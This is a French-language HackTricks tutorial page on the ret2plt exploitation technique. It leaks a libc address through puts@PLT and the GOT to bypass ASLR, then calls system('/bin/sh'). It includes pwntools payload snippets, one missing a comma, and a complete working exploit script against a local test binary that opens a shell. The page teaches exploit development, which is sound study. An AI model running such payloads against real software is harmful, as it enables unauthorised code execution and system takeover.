Ret2plt

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

L'objectif de cette technique serait de dévoiler une adresse d'une fonction du PLT pour contourner l'ASLR. Cela est possible car, par exemple, si vous dévoilez l'adresse de la fonction puts de la libc, vous pouvez ensuite calculer où se trouve la base de libc et calculer des décalages pour accéder à d'autres fonctions telles que system.

Cela peut être fait avec une charge utile pwntools comme (à partir d'ici):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Notez comment puts (en utilisant l'adresse du PLT) est appelé avec l'adresse de puts située dans le GOT. Cela est dû au fait qu'au moment où puts imprime l'entrée GOT de puts, cette entrée contiendra l'adresse de puts en mémoire.

Notez également comment l'adresse de main est utilisée dans l'exploit afin que lorsque puts termine son exécution, le binaire rappelle main au lieu de se terminer (ainsi, l'adresse divulguée restera valide).

Notez que pour que cela fonctionne, le binaire ne doit pas être compilé avec PIE ou vous devez avoir trouvé une fuite pour contourner PIE afin de connaître l'adresse du PLT, GOT et main.

Vous pouvez trouver un exemple complet de ce contournement ici. C'était l'exploit final de cet exemple:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Autres exemples et Références

Dernière mise à jour